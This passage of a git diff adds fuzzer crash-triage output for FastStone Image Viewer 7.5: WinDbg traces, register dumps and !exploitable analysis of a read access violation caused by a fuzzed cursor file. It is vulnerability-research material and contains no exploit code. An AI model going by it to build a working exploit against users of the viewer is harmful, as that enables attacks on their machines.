+BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/29415/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/29415/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..5962a07 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/29415/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3089/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3089/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3089/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3089/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3089/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..48c7986 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3089/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3089/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3089/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..174dea4 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3089/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1C44: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1C44: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1c44.1f88): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0003ed2d ecx=07df7b10 edx=00003879 esi=ffd70010 edi=0fd1afd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.701640555023320160000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.668237000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.22984e-034 -2.44853e+026 3.11349e-024 4.12563e+019 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ed8130 07e55930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0025f000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0025f000 f10956cd 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62af 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0025f000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3089/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3089/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..174dea4 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/3089/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1C44: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1C44: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1c44.1f88): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0003ed2d ecx=07df7b10 edx=00003879 esi=ffd70010 edi=0fd1afd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.701640555023320160000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.668237000000000000000e+0006 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.22984e-034 -2.44853e+026 3.11349e-024 4.12563e+019 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07ed8130 07e55930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0025f000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0025f000 f10956cd 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62af 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0025f000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 